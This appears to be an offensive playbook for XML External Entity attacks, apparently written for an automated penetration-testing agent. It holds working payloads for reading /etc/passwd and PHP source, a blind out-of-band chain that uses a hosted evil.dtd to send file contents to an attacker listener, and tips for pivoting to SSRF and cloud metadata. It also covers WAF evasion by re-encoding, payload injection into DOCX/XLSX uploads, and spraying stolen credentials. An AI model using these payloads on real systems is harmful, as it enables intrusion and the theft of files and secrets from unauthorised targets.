XXE (XML External Entity)

When this fires

The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).

Detect

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>

If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.

Decide

• Entity value reflected in a response field → in-band file read.
• Not reflected but parser fetches your DTD → blind XXE → OOB exfil via external DTD.
• Non-printable/multiline files break the parser → use php://filter base64 wrapper (PHP) to read source.
• Entity fetches arbitrary URLs → XXE→SSRF (hit internal services / cloud metadata; see web-ssrf).

Exploit → PROVE IMPACT

<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;

Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.

Tooling

nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).

False positives / pitfalls

• Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
• WAF blocks <!DOCTYPE> → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.
• Reflected-but-not-parsed input = not XXE.